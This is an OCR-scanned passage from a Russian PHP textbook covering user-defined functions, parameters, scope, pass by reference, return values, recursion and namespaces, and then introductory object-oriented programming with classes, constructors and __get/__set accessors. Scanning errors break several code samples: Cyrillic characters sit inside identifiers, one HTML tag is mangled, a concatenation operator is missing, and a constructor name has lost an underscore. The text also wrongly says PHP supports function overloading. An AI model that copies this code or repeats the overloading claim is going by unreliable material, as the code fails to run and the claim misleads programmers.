функции, тем не менее, определяемые пользователем функции существуют только в тех сценариях, в которых они объявлены. Это означает, что имя функции можно по- вторно использовать в другом файле, но это может привести к путанице, поэтому подобных ситуаций следует избегать. Следующие имена функций являются допустимыми: паше() name2() name_three()() _namefour() А эти имена недопустимы: 5паше() name-six() fopen() (Последнее имя могло бы быть допустимым, если бы оно не было именем уже су- ществующей функции.) Обратите внимание, что хотя $name не является допустимым именем функции, следующий вызов функции: $name () ; может нормально работать, в зависимости от значения, хранящегося в $name. Причина состоит в том, что РНР берет значение переменной $name, ищет функцию с именем, совпадающим с этим значением, и пытается к ней обратиться. Данный тип функции носит название функции-переменной и часто оказывается весьма полезным. Параметры Чтобы иметь возможность выполнять свои задачи, большинство функций тре- буют передачи в них одного и более параметров. Параметр позволяет передавать данные в функцию. Ниже приведен пример функции, которая требует передачи в нее одного параметра. Эта функция принимает одномерный массив и отображает его в виде таблицы. function create_table($data) { echo "<table border = 1>”; reset($data); // Вспомните, что это делается для указания на начало $value = current($data); while ($value) { echo "<tr><td>". $value. "</td></tr>\n"; $value = next($data); } echo "</table>"; } Если вызвать функцию or eat eatable () следующим образом: $my_array = array(’Строка один.’, ’Строка два.’, ’Строка три.’); create_table($my_array); то получим вывод, показанный на рис. 5.4. Параметр дает возможность передать в функцию данные, которые были созданы за ее пределами, — в данном случае, массив $data. 162 Часть I. Использование РНР
\ Рис. 5.4. Эта HTML-таблица получена в рёзультате вызова функции create_table () Как и в случае встроенных функций, пользовательские функции могут принимать несколько параметров и иметь необязательные параметры. Мы можем усовершен- ствовать функцию create table () различными способами, одним из них могло бы быть предоставление пользователю возможности задавать параметры рамки или дру- гие атрибуты таблицы. Ниже приведена улучшенная версия этой функции. Она по- хожа на предыдущую версию, но позволяет при желании определить ширину рамки, расстояние между ячейками и способ заполнения ячеек. function create_table2($data, $border=l, $cellpadding=4, $cellspacing=4) { echo "<table border=\"".$border."\" cellpadding=\"".$cellpadding"."\" cellspacing=\"".$cellspacing. reset($data); $value = current($data); while ($value) { echo "<tr><td>" . $value. "</tdx/tr>\n" ; $value = next($data); } echo "</table>"; } $my_array = array('Строка один.', 'Строка два.', 'Строка три.'); create_table($my_array); Первый параметр функции create_table2 () по-прежнему обязателен. Следующие три являются необязательными, поскольку для них определены значения по умолча- нию. Вывод, похожий на показанный на рис. 5.4, получается в результате следующего вызова функции create_table2 () : create_table2($my_array); Если мы хотим, чтобы эти же данные отображались в более просторной форме, данную функцию можно вызвать так: create_table2($my_array, 3, 8, 8) ; Необязательные параметры можно передавать це все, а лишь некоторые из них. Параметры присваиваются слева направо. Не забывайте, что нельзя пропустить какой-либо необязательный параметр и по- сле него задать следующий параметр. В данном примере, если мы хотим задать зна- чение параметра cell spacing, нам придется передать также и значение параметра cellpadding. Это ограничение часто становится причиной ошибок программирова- ния. Именно поэтому необязательные параметры помещаются в конце любого спи- ска параметров. Глава 5. Многократное использование кода и создание функций 163
Следующий вызов функции: create_table2($my_array, 3) ; вполне допустим; он приводит к тому, что значение переменной $border устанавли- вается равным 3, а значениям переменных $cellpadding и $cellspacing получают соответствующие значения по умолчанию. Существует возможность объявлять функции, которые принимают переменное ко- личество параметров. Определить, сколько параметров передано, а также их значе- ния, можно посредством вспомогательных функций func num args (), func get arg () и func_get_args(). Для примера рассмотрим следующую функцию: function var_args() { echo "Количество параметров: echo func_num_args(); echo "<br />"; $args = func_get_args () ; foreach ($args as $arg) { echo $arg."<br />"; } } Эта функция выводит количество переданных ей параметров вместе с их зна- чениями. Функция func num args () возвращает количество переданных аргумен- тов, а функция func get args () — массив, содержащий эти аргументы. В качестве альтернативы можно получать доступ к каждому аргументу с помощью функции func get arg (), передавая ей номер требуемого аргумента. (Нумерация аргументов начинается с нуля.) Область действия Вы, должно быть, уже обратили внимание на то, что при необходимости исполь- зования переменных внутри затребованного или включаемого файла мы просто объявляем их в сценарии перед оператором require () или include (). Однако при использовании функции эти переменные передаются в нее явно. Частично это свя- зано с тем, что не существует никакого механизма для явной передачи переменных в затребованный или включаемый файл, а частично с тем, что область действия пере- менных в функциях определяется иначе. Область действия переменных задает границы, в рамках которых переменная ви- дима и может использоваться. В различных языках программирования имеются раз- личные правила, устанавливающие область действия переменных. В РНР действуют очень простые правила. Переменные, которые объявлены внутри функции, действуют в области от опе- ратора, в котором они объявлены, до закрывающей скобки в конце функции. Эта область называется областью действия функции), а сами переменные — локаль- ными (local) переменными. Переменные, которые объявлены за пределами функции; действуют в области от оператора, в котором они объявлены, до конца файла, но не внутри функций. Эта область называется глобальной областью действия, а такие переменные — гло- бальными (global) переменными. 164 Часть I. Использование РНР
Специальные суперглобальные переменные видны как внутри функции, так и за ее пределами. (Дополнительную информацию по таким переменным можно найти в главе *1.) Использование операторов require () и include () не влияет на область дей- ствия переменных. Если оператор используется внутри функции, его областью действия является область действия функции. Если он используется за предела- ми функции, его областью действия является глобальная область. Ключевое слово global может использоваться для указания вручную того, что переменная, которая определена или используется внутри функции, должна иметь глобальную область действия. Переменные могут быть вручную удалены посредством вызова функции unset ($имя_переменной). Если переменная удалена, она пропадает из своей об- ласти действия. Приведенные далее примеры помогут внести ясность в данные определения. Следующий код не генерирует никакого вывода. В нем переменная $var объяв- ляется внутри функции f п (). Поскольку эта переменная объявляется внутри функ- ции, она имеет область действия в рамках функции и существует в области от места ее объявления до конца функции. При обращении к переменной $var за пределами функции, создается новая переменная с именем $var. Эта новая переменная имеет глобальную область действия и будет видимой до конца файла. К сожалению, если единственным оператором, применяемым в отношении этой новой переменной $var, будет echo, она никогда не будет иметь значения. function fn() { $var = '.'значение"; } fn(); . echo $var; Далее следует противоположный пример. В нем объявляется переменная за преде- лами функции, а затем предпринимается попытка использовать ее внутри функции. function fn() { echo "внутри функции \$var = ".$var."<br />"; $var = "значение 2"; echo "внутри функции, \$var = ".$var."<br />"; } $var = "значение 1"; fn(); . echo "вне функции \$var. *= ".$var."<br />"; Этот код сгенерирует следующий вывод: внутри функции $var = внутри функции $var = значение 2 вне функции $var = значение 1 Функции не выполняются до тех пор, пока они не будут вызваны, поэтому первым выполняемым оператором является $var = "значение 1";. Он создает переменную $var, имеющую глобальную область действия и содержимое "значение 1". Следующий выполняемый оператор — вызов функции f п (). Строки внутри оператора выполня- ются по очереди. Первая строка в функции обращается к переменной $var. Когда эта строка выполняется, она не может видеть созданную до этого переменную $var, Глава 5. Многократное использование кода и создание функций 165
поэтому она создает новую переменную, имеющую область действия в рамках функ- ции, и выводит ее. В результате создается первая строка вывода. Следующая строка внутри функции устанавливает содержимое переменной $var равным "значение 2". Поскольку действия выполняются внутри функции, эта строка изменяет значение локальной переменной $var, а не глобальной. Вторая строка вы- вода подтверждает выполнение этого изменения. На этом выполнение функции завершается, поэтому выполняется заключительная строка сценария. Этот оператор echo показывает, что значение глобальной перемен- ной не изменилось. Если вы хотите, чтобы переменная, созданная внутри функции, была глобальной, можно воспользоваться ключевым словом global, как показано в следующем примере: function fn() { global $var; $var = "значение"; echo "внутри функции \$var = ".$var."<br />"; } fn(); echo "вне функции \$var = ".$var."<br />"; В этом примере переменная $var была явно объявлена как глобальная, следова- тельно, после вызова функции переменная будет существовать и вне функции. Вывод этого сценария будет иметь следующий вид: внутри функции $var = значение вне функции $var = значение Обратите внимание, что переменная определена в области действия, начинающей- ся с того места, в котором выполняется строка global $var;. Функцию .можно было бы объявить выше или ниже того места, в котором она вызывается. (Также обратите внимание, что область действия функции существенно отличается от области дейст- вия переменной!) Место объявления функции фактически не играет роли — важно лишь то, где функция вызывается и, следовательно, где выполняется содержащийся внутри нее код. Ключевое слово global можно указывать также в начале сценария при первом использовании переменной, чтобы подчеркнуть, что областью ее действия должен быть весь сценарий. Возможно, это наиболее распространенное использование клю- чевого слова global. Как видно из приведенных выше примеров, вполне допустимо повторно исполь- зовать имя переменной внутри и вне функции без взаимного влияния друг на друга. Однако в общем случае делать это не рекомендуется, поскольку, глубоко не вникнув в код и не сопоставив области действия переменных, пользователи могут решить, что эти на самом деле разные переменные являются одной и той же переменной. Передача по ссылке и передача по значению Если требуется создать функцию по имени increment (), позволяющую увеличи- вать целочисленное значение на единицу, можно попытаться решить эту задачу сле- дующим образом: function increment($value, $amount = 1) { $value = $value + $amount; } 166 Часть I. Использование PHP
Однако этот код не работает. В результате выполнения показанного ниже теста выводится значение 10. $value =10; increment($value); echo $value; Как видим, содержимое переменной $value не изменилось. Такой результат является следствием правил, регламентирующих область дейст- вия. Представленный выше код создает переменную $value, которая содержит зна- чение 10. Затем вызывается функция increment (). Переменная $value создается в функции во время вызова функции. К значению этой переменной добавляется 1, по- этому внутри функции значение $value равно 11 до тех пор, пока выполнение функ- ции не завершается и не осуществляется возврат в вызвавший ее код. В вызвавшем коде в качестве переменной $value выступает другая переменная, определенная в глобальной области, а она остается неизменной. Один из способов решения этой проблемы предполагает объявление переменной $valup в функции в качестве глобальной, но это означает, что для использования этой функции переменную, значение которой требуется увеличить, нужно назвать $ value. Более рациональным подходом было бы использование передачи по ссылке. Обычный способ вызова параметров функции называется передачей по значению. Когда вы передаете параметр, создается новая переменная, которая содержит пере- даваемое значение. Она представляет собой копию исходной переменной. Данное значение можно изменять как угодно, но при этом значение исходной переменной вне функции остается неизменным. (Вообще-то это несколько упрощенное описание происходящего внутри РНР.) Более рациональный подход предусматривает использование передачи по ссылке. В этом случае при передаче параметра, вместо того чтобы создавать новое значение, функция принимает ссылку на исходную переменную. Эта ссылка имеет имя перемен- ной, начинающееся со знака доллара ($), и может использоваться совершенно так же, как и любая другая переменная. Различие состоит в том, что вместо того, чтобы иметь собственное значение, она просто ссылается на исходную переменную. Любые изменения, применяемые к ссылке, влияют также и на оригинал. Передача используемого параметра по ссылке указывается путем помещения сим- вола амперсанда (&) перед его именем в определении функции. Никакие изменения в вызове функции не требуются. Ранее приведенный пример функции increment () можно изменить, передав ей один параметр по ссылке, после чего функция будет работать корректно: function increment(&$value, $amount = 1) { $value = $value + $amount; } Теперь в нашем распоряжении работающая функция, и мы можем назвать пере- менную, значение которой хотим увеличить, как нам заблагорассудится. Как уже упо- миналось, использование одного и того же имени внутри и за пределами функции может привести к путанице, поэтому переменной в основном сценарии мы присвоим новое имя. Теперь следующий тестовый код будет выводить на экран значение 10 пе- ред обращением к функции increment () и 11 — после него: $а = 10; echo $а.'<br />'; increment ($а) ; echo $а ' <br />' ; Глава 5. Многократное использование кода и создание функций 167
Ключевое слово return Ключевое слово return останавливает выполнение функции. Когда выполнение функции завершается либо из-за того, что все операторы выполнены, либо по при- чине встречи ключевого слова return, управление возвращается оператору, следую- щему за вызовом функции. При вызове представленной ниже функции выполняется только первый оператор echo: function test_return() { echo "Этот оператор будет выполнен"; return; echo "Этот оператор не будет выполнен"; } Очевидно, это не самый полезный способ использования оператора return. Обычно возврат из функции требуется только в случае выполнения некоторого ус- ловия. Условие возникновения ошибки — это наиболее распространенная причина при- менения оператора return с целью преждевременного прекращения выполнения функции. Если, например, вы написали функцию для определения большего из двух чисел, возможно, вы захотите выйти из нее в случае отсутствия одного из чисел. function larger($х, $у) { if (!isset($x) || !isset($y)) { echo "Эта функция требует указания двух чисел"; return; } if ($х >= $у) { echo $x."<br />"; } else { echo $y."<br />"; } } Встроенная функция isset () сообщает, была ли создана переменная, и было ли ей присвоено значение. Данный код генерирует сообщение об ошибке и выполня- ет возврат, если значение какого-либо из параметров не установлено. Эта проверка выполняется с помощью выражения ! isset (), означающего “НЕ isset () ”, и следова- тельно, условный оператор if можно прочесть как “если значение х не установлено или если значение у не установлено”. Функция будет выполнять возврат, если любое из этих условий истинно. Если оператор return выполняется, то следующие за ним строки кода в функции игнорируются. Выполнение программы вернется к точке, в которой функция была вы- звана. Если оба параметра установлены, функция выведет на экран больший из них. Результат работы следующего кода: $а = 1; $Ь = 2.5; $с = 1.9; ' larger($а, $Ь) ; larger($с, $а) ; larger($d, $а) ; 168 Часть I. Использование РНР
будет иметь такой вид: 2.5 1.9 Эта функция требует указания двух чисел Возврат значений из функции Выход из функции — не единственная причина применения оператора return. Во многих функциях операторы return используются для обмена данными с вызываю- щим их кодом. Функция larger () была бы более полезной, если бы вместо вывода на экран результата сравнения она возвращала само число. В этом случае вызвавший функцию код мог бы принимать решение, нужно ли и когда именно нужно отобра- жать или использовать это большее число. Эквивалентная встроенная функция max () именно так и работает. Функцию larger () можно определить следующим образом: function larger ($х, $у) { if (!isset($х)||!isset($у)) { return false; } else if ($x>=$y) { return $x; } else { return $y; } } Эта функция возвращает большее из двух переданных ей значений. В случае ошиб- ки функция будет явно возвращать другое значение. Если одно из чисел отсутствует, функция larger () возвращает false. (При этом программисты, использующие такой подход, должны иметь в виду, что тип возврата необходимо проверить с помощью операции ===, чтобы не спутать значение false с нулем.) Для сравнения: встроенная функция max () ничего не возвращает, если обе пере- менные не установлены, а если только одна переменная была установлена, функция возвращает значение именно этой переменной. Показанный ниже код: $а = 1; $Ь = 2.5; $с = 1.9; echo larger($а, $b)."<br />"; echo larger($c, $a)."<br />"; echo larger($d, $a)."<br />"; генерирует следующий вывод, поскольку переменная $d не существует, a false на экран не выводится: 2.5 1.9 Часто функции, которые выполняют определенную задачу, и в то же время не долж- ны возвращать конкретных значений, возвращают true или false, чтобы указать на ус- пешное или неудачное выполнение этой задачи. Значения true и false могут быть, соот- ветственно, представлены целыми значениями 1 или 0, хотя это значения другого типа. Глава 5. Многократное использование кода и создание функций 169
Реализация рекурсии В РНР поддерживаются рекурсивные функции. Под рекурсивной понимается функ- ция, которая вызывает саму себя. Эти функции особенно полезны для перемещения по динамическим структурам данных, таким как связные списки и деревья. Очень немногие веб-приложения требуют столь сложных структур данных, по- этому рекурсия используется достаточно редко. Во многих случаях рекурсия может применяться вместо итерации, поскольку оба эти подхода позволяют многократно выполнять те или иные действия. Рекурсивные функции работают медленнее и ис- пользуют больший объем памяти, нежели итерация, поэтому там, где это возможно, следует отдавать предпочтение итерации. Ради полноты изложения рассмотрим краткий пример, показанный в листинге 5.5. Листинг 5.5. recursion.php — обращение строки с использованием рекурсии и итерации function reverse_r($str) { if (strlen($str) > 0) { reverse_r(substr ($str, 1)); } echo substr($str, 0, 1) ; return; } function reverse_i($str) { for ($i = 1; $i <= strlen ($str) ; $i++) { echo substr($str, -$i, 1) ; } return; } В этом листинге представлены реализации двух функций. Обе они выводят строку в обратном порядке. Функция reverse r () — рекурсивная, a reverse i () — итератив- ная. Функция reverser () принимает строку в качестве параметра. При ее вызове она будет вызывать саму себя, каждый раз передавая символы строки со второго до по- следнего. Например, если вызвать функцию следующим образом: reverse_r('победа'); она вызовет себя шесть раз со следующими параметрами: reverse_r('обеда') ; reverse_r('беда'); reverse_r('еда') ; reverse_r('да') ; reverse_r('а') ; reverse_r(''); При каждом вызове самой себя функция создает новую копию кода функции в па- мяти сервера, но с другим параметром. Внешне это выглядит так, словно в действи- тельности каждый раз вызывается другая функция. Это предотвращает возникнове- ние путаницы с экземплярами функции. 170 Часть I. Использование РНР
При каждом вызове проверяется длина переданной строки. По достижении конца строки условие оказывается ложным (strlenO == 0). После этого последний экземп- ляр функции (revetse r (’ ’)) продолжит работу и выполнит следующую строку кода, т.е. выведет на экран первый символ переданной строки — в данном случае никакого вывода не будет, поскольку строка пуста. Затем этот экземпляр функции возвращает управление экземпляру, который вы- звал его, а именно, reverse r (’ а ’). Этот экземпляр выводит первый символ в своей строке, ’ а ’, и возвращает управление вызвавшему его экземпляру. Упомянутый процесс — вывод символа и возврат к экземпляру функции, располо- женному над ним в порядке вызова, — продолжается до тех пор, пока управление не будет возвращено основной программе. Рекурсивные решения весьма изящны и соответствуют методам математической рекурсии. Однако в большинстве случаев лучше использовать итерационные реше- ния. Код для реализации этого метода также показан в листинге 5.5. Обратите внима- ние, что по длине он не превышает рекурсивный вариант (хотя прЦ использовании итеративных функций это не всегда так) и выполняет те же действия. Основное различие между ними состоит в том, что рекурсивная функция созда- ет в памяти копии самой себя и, соответственно, приводит к непроизводительным расходам ресурсов, которые обусловлены многократными вызовами одной и той же функции. Рекурсивное решение имеет смысл использовать, когда соответствующий код ока- зывается гораздо короче и изящнее итеративной версии, но в данной области приме- нения подобное случается нечасто. Хотя рекурсия выглядит более элегантно, программисты часто забывают опре- делить условие завершения рекурсии. Это означает, что функция будет продолжать вызывать себя до тех пор, пока сервер не столкнется с нехваткой памяти или пока не истечет максимальное время выполнения, в зависимости от того, что произойдет раньше. Пространства имен В общем случае пространство имен (namespace) — это абстрактный контейнер для группы идентификаторов. В РНР это означает, что пространство имен может содер- жать определенные вами функции, константы и классы. Создание пространств имен имеет несколько организационных преимуществ для собственных функций и опреде- лений классов. В начало имен функций, классов и констант в пространстве имен автоматиче- ски приписывается название этого пространства имен. Неуточненные имена классов, функций и констант разрешаются во время вы- полнения, причем поиск сначала выполняется в пространстве имен, а потом в глобальном пространстве. Дополнительную информацию и практические примеры пространств имен в РНР можно найти в руководстве по РНР по адресу: http://www.php.net/language.namespaces Глава 5. Многократное использование кода и создание функций 171
Дополнительные источники информации Использование операторов include (), require (), function и return объясняется также в онлайновом руководстве. Более подробно о таких понятиях, как рекурсия, передача по значению либо ссылке и область действия, которые применяются во многих языках программирования, можно прочесть в учебниках по программиро- ванию. Что дальше Теперь, когда вы научились использовать включаемые и требуемые файлы и функ- ции для того, чтобы сделать свои программы более пригодными для сопровождения и повторного использования, в следующей главе будет рассматриваться объектно-ори- ентированное программирование и его поддержка в РНР. Использование объектов позволяет достичь целей, подобных концепциям, которые описаны в данной главе, но при разработке сложных проектов достигаются еще большие преимущества. 172 Часть I. Использование РНР
Объектно- ориентированное программирование на РНР В этой главе описаны основные понятия объектно-ориентированной разработки и показано, как ее можно внедрить с использованием РНР. В настоящий момент реализация РНР содержит все возможности объектно-ори- ентированного программирования (ООП). В настоящей главе вы познакомитесь с этими возможностями. В данной главе рассматриваются следующие темы. Концепции объектно-ориентированного программирования. Классы, атрибуты и операции. Атрибуты класса. , Константы класса. Вызов методов класса. Наследование. Модификаторы доступа. Статические методы. Указание типов. Позднее статическое связывание. Клонирование объектов. Абстрактные классы. Проектирование классов. Реализация классов. Дополнительные объектно-ориентированные возможности. Глава 6. Объектно-ориентированное программирование на РНР 173
Концепции объектно-ориентированного программирования Современные языки программирования обычно поддерживают или даже требуют применения объектно-ориентрованного подхода при разработке программного обес- печения. Объектно-ориентированная разработка пытается задействовать классифика- ции, отношения и свойства объектов системы для упрощения разработки программ и повторного использования кода. Классы и объекты В контексте объектно-ориентированного программного обеспечения объектом может быть практически любой элемент или концепция — физический объект вроде стола или клиента, либо концептуальный объект, существующий только в программе, такой как область ввода текста или файл. В общем случае наибольший интерес для вас будут представлять объекты — как реальные, так и концептуальные — которые должны быть представлены в программе. Объектно-ориентированная программа разрабатывается и создается в виде на- бора самостоятельных объектов, имеющих атрибуты и операции, которые соответ- ствуют вашим потребностям. Атрибуты (attributes) — это свойства или переменные, имеющие отношение к объекту. Операции (operations) представляют собой методы, действия или функции, которые объект может выполнить с целью модификации са- мого себя или внешнего окружения. (Вместо термина “атрибут” часто употребляют термины “переменная-член” и “свойство”, а вместо термина “операция” — “метод”.) Основное достоинство объектно-ориентированного программного .обеспечения заключается в его способности поддерживать и стимулировать инкапсуляцию (encap- sulation), которая известна также как сокрытие данных (data hiding). По существу, дос- туп к данным внутри объекта возможен только через операции объекта, называемые интерфейсом (interface) объекта. Действия, выполняемые объектом, распространяются только на используемые им данные. Можно без труда изменить способы реализации объекта для повышения производительности, добавления новых свойств или исправления программных ошибок без необходимости изменения интерфейса. Изменение интерфейса чревато ос- ложнениями для всего проекта, однако инкапсуляция позволяет вносить изменения и исправлять ошибки, не касаясь других частей проекта. В других областях разработки программного обеспечения объектно-ориентирован- ный подход является нормой, а процедурное или функционально-ориентированное программирование считается устаревшим. Однако большинство веб-сценариев все еще разрабатывается и создается с применением специализированного подхода, соот- ветствующего функционально-ориентированной методологии. Применение этого похода обусловлено рядом причин. Многие веб-проекты относительно невелики и достаточно просты. Вы просто можете взять ножовку и соорудить деревянную полочку, не планируя заранее своих действий; точно так же вы можете успешно завершить большую часть проектов по разработке программного обеспечения для Интернета в силу их небольших размеров. Однако если вы вооружи- тесь ножовкой и попытаетесь построить дом, не имея четкого плана, вам вряд ли уда- стся добиться приемлемых результатов; это же справедливо и в отношении крупных программных проектов. 174 Часть I. Использование РНР
Многие веб-проекты развиваются из простого набора страниц, связанных между собой гиперссылками, в сложные приложения. Сложные приложения, независимо от того, представлены они набором диалоговых окон или динамически генерируемых HTML-страниц, требуют тщательно продуманной методологии разработки. ООП по- зволяет управлять сложностью проектов, повышать пригодность кода для многократ- ного использования и, в конечном итоге, снижать затраты на сопровождение. В объектно-ориентированном программном обеспечении объект представляет собой уникальную и идентифицируемую коллекцию хранимых данных и операций, осуществляющих различные действия над этими данными. Например, мы могли бы иметь два объекта, представляющих кнопки. Даже если обе кнопки имеют одинако- вые надписи “ОК”, ширину 60 пикселей и высоту 20 пикселей, и у них совпадают любые другие атрибуты, тем не менее, необходимо иметь возможность работать с каждой из этих кнопок по отдельности. В программе для этого используются специ- альные переменные, которые действуют как дескрипторы (уникальные идентификато- ры) объектов. Объекты могут быть сгруппированы в классы. Классы представляют некото- рые наборы объектов, которые могут отличаться один от другого по тем или иным признакам, но при этом должны иметь кое-что общее. Классы содержат объекты, в которых одинаковые операции выполняются одинаково, а одинаковые атрибуты представляют одни и те же свойства, хотя значения этих атрибутов изменяются от объекта к объекту. Существительное “велосипед” можно считать классом объектов, описывающим множество различных велосипедов, которые имеют много общих свойств или атри- бутов, таких как два колеса, цвет и размер, а также выполняемые ими операции, на- пример, передвижение. Ваш собственный велосипед можно считать объектом, который принадлежит к классу велосипедов. Он имеет все общие свойства, присущие всем велосипедам, вклю- чая операцию передвижения, которая выполняется так же, как у большинства осталь- ных велосипедов, даже если ваш велосипед используется намного реже. Атрибуты ва- шего велосипеда имеют уникальные значения, поскольку он окрашен, к примеру, в зеленый цвет, а далеко не все велосипеды окрашены именно так. Полиморфизм Объектно-ориентированный язык программирования должен поддерживать поли- морфизм (polymorphism), т.е. возможность выполнять одну и ту же операцию в различ- ных классах по-разному. Например, в классах автомобилей и велосипедов операции передвижения различаются. Что касается реальных объектов, то это редко становит- ся источником каких-то проблем. Едва ли можно спутать велосипед с автомобилем и ехать на нем как на автомобиле. В то же время обычный здравый смысл в отношении языков программирования действует не всегда, поэтому язык такого типа должен поддерживать полиморфизм, чтобы знать, какую операцию передвижения нужно ис- пользовать применительно к конкретному объекту. Полиморфизм — это скорее характеристика поведения, нежели объектов. В РНР полиморфными могут быть только функции-члены класса. В реальном мире им мож- но сопоставить глаголы в естественных языках. Ведь велосипед, помимо всего проче- го, можно чистить, передвигать, разбирать, ремонтировать или красить. Глава 6. Объектно-ориентированное программирование на РНР 175
Эти глаголы описывают общие действия, поскольку вы не знаете, к какому объек- ту они применяются. (Подобная абстракция объектов и действий — одна из отличи- тельных характеристик человеческого разума.) Например, для езды на велосипеде требуется выполнение совершено иных дейст- вий, чем для езды в автомобиле, несмотря на то, что эти понятия аналогичны. Глагол ездить можно связать с конкретным набором действий только после того, как станет известен объект, к которому он применяется. Наследование Наследование (inheritance) позволяет создавать иерархические взаимосвязи между классами, используя для этого подклассы (subclasses). Подкласс наследует атрибуты и операции своего суперкласса (superclass). Например, автомобиль и велосипед име- ют некоторые общие характеристики. Мы могли бы создать класс транспортных средств, содержащий такие характеристики, как атрибут цвета и операцию передви- жения, свойственные всем транспортным средствам, а затем унаследовать от класса транспортных средств классы автомобиля и велосипеда. Понятия подкласса, производного класса и дочернего класса являются синонимами. Точно так же синонимами являются понятия суперкласса и родительского класса. Благодаря наследованию вы можете создавать надстройки и дополнения к суще- ствующим классам. По мере необходимости из простого базового класса вы можете получить более сложные и специализированные производные классы. Данная возмож- ность делает ваш код более пригодным для многократного использования, что являет- ся одним из наиболее важных достоинств объектно-ориентированного подхода. Использование наследования позволяет уменьшить объем выполняемой работы, если операции можно реализовывать лишь один раз в суперклассе вместо многократ- ного их создания в отдельных подклассах. Наследование также позволяет более точ- но моделировать отношения, существующие в реальном мире. Если к двум классам можно применить выражение “является”, то вполне вероятно, что в этом случае на- следование возможно. Выражение “автомобиль является транспортным средством” имеет смысл, однако в выражении “транспортное средство является автомобилем” смысла мало, поскольку не все транспортные средства представляют собой автомоби- ли. Следовательно, автомобиль может быть унаследован от транспортного средства. Создание классов, атрибутов и операций в РНР До сих пор мы рассматривали классы на довольно-таки высококГуровне абстрак- ции. Для создания класса в РНР предназначено ключевое слово class. Структура класса Минимальный вариант определения класса имеет следующий вид: class classname { } Чтобы от классов была хоть какая-нибудь польза, они должны иметь атрибуты и операции. Атрибуты создаются путем объявления переменных внутри определения 176 Часть I. Использование РНР
класса с помощью ключевых слов, соответствующих их видимости: public, private или protected. Они будут рассмотрены ниже в данной главе. Следующий код создает класс classname с двумя общедоступными атрибутами $attributel и $attribute2: class classname { var $attributel; var $attribute2; } Операции создаются за счет объявления функций внутри определения класса. Следующий код создает класс classname с двумя операциями, которые не выполня- ют никаких действий. Операция operationl () не принимает никаких параметров, а операция operation2 () принимает два параметра: class classname { function operationl () { } function operation2($paraml, $param2) { } } Конструкторы В большинстве классов имеется специальный тип операции, получивший назва- ние конструктора. Конструктор (constructor) вызывается в тех случаях, когда нужно создать объект; обычно он выполняет такие полезные задачи по инициализации, как установка разумных начальных значений атрибутов или создание других объектов, требуемых для данного объекта. Конструктор объявляется так же, как другие операции, но имеет специальное имя __construct (). Хотя конструктор можно вызывать вручную, его основное значение заключается в том, что он автоматически вызывается в момент создания объекта. Следующий код объявляет класс с конструктором: class classname { function_construct($param) { echo "Конструктор вызван с параметром ".$param."<br />"; } } PHP поддерживает перегрузку функций, т.е. можно определять более одной функции с одним и тем же именем и различным количеством или типами парамет- ров. (Данное свойство характерно для многих объектно-ориентированных языков.) Дополнительная информация представлена в следующих разделах. Деструкторы Деструктор (destructor) представляет собой противоположность конструктору. Они позволяют выполнять определенные действия непосредственно перед уничто- жением объекта. Деструктор вызывается автоматически, когда все ссылки на класс удаляются или выходят за пределы области видимости. Подобно именованию конструкторов, деструктор класса должен иметь имя __destruct (). Деструкторы не могут принимать параметры. Глава 6. Объектно-ориентированное программирование на РНР 177
Создание экземпляров класса После объявления класса необходимо создать объект — конкретный экземпляр, являющийся членом класса, — с которым будет выполняться работа. Этот процесс называют также созданием экземпляров (instantiating) класса. Объект создается с помо- щью ключевого слова new. При этом нужно указать, экземпляром какого класса будет объект, и предоставить все параметры, которые необходимы конструктору. Приведенный ниже код объявляет класс classname с конструктором, а затем соз- дает три объекта типа classname: class classname { function___construct($param) { echo "Конструктор вызван с параметром ".$param."<br />"; } } $a = new classname ("Первый") ; $b = new classname("Второй"); $c = new classname(); Поскольку конструктор вызывается при каждом создании объекта, этот код гене- рирует следующий вывод: Конструктор вызван с параметром Первый Конструктор вызван с параметром Второй Конструктор вызван с параметром Использование атрибутов класса Внутри класса вы получаете доступ к специальному указателю с именем $this. Если атрибут вашего текущего класса имеет имя $attribute, он указывается при за- несении или выборке значения в операции внутри класса следующим образом: $this->attribute Следующий код служит примером установки атрибутов и обращения к ним внутри класса: class classname { var $attribute; function operation($param) { $this->attribute = $param echo $this->attribute; } } Возможность доступа к атрибуту извне класса определяется модификаторами дос- тупа, которые обсуждаются далее в главе. Класс, код которого приведен выше, никак не ограничивает доступ к атрибуту, поэтому к нему можно обратиться так, как пока- зано ниже: class classname { var $attribute; } $a = new classname(); $a->attribute = "value"; echo $a->attribute; 178 Часть I. Использование PHP
Прямой доступ к атрибутам за пределами класса — обычно не особенно хорошая идея. Одно из преимуществ объектно-ориентированного подхода заключается в том, что он поощряет инкапсуляцию. Для этого предназначены функции______get и___set. Если вместо прямого доступа к атрибутам класса создать функции доступа (accessor function), весь доступ будет осуществляться через один раздел программного кода. Первоначальный вариант функций доступа может иметь следующий вид: class classname { var $attribute; function___get($name) { return $this->$name; } function__set($name, $value) { $this->$name = $value; } } Этот код предоставляет минимальные функции для доступа к атрибуту по имени $attribute. Функция____get () просто возвращает значение атрибута $attribute, а функция____set () присваивает ему новое значение. Обратите внимание, что функция get () принимает один параметр — имя ат- рибута — и возвращает значение этого атрибута. Аналогично, функция___set () при- нимает два параметра — имя атрибута и новое значение, которое должно быть ему присвоено. Эти функции не вызываются напрямую. Два символа подчеркивания в начале имен функций означают, что они имеют в РНР специальное назначение подобно функциям___construct () и___destruct (). Рассмотрим, как работают эти функции. Если вы создаете экземпляр класса: $а = new classname (); то можете затем использовать функции___get () и__set () для проверки и установки значения любого атрибута. Оператор $a->$attribute =5; приведет к неявному вызову функции____set () с передачей ей значения "attribute" в параметре $паше и 5 значения в параметре $ value. Внутри функции set () могут находиться необходимые проверки на ошибочные значения. Функция_____get () работает аналогичным образом. Если где-то в коде присутствует ссылка на атрибут: $a->$attribute то осуществляется неявный вызов функции________get() с передачей ей значения "attribute" в параметре $паше. Это приведет к возврату функцией____get () значе- ния атрибута. На первый взгляд может показаться, что от этого кода совсем немного пользы. Возможно, что в том виде, в каком он здесь приведен, это так и есть, однако причина применения функций доступа объясняется просто: обращение к конкретному атрибу- ту выполняется через всего лишь один раздел кода. При наличии только одной точки доступа можно организовать проверку на допус- тимость, дабы гарантировать, что сохраняются лишь данные, имеющие смысл. Если впоследствии выяснится, что значение атрибута $attribute может лежать только в Глава 6. Объектно-ориентированное программирование на РНР 179
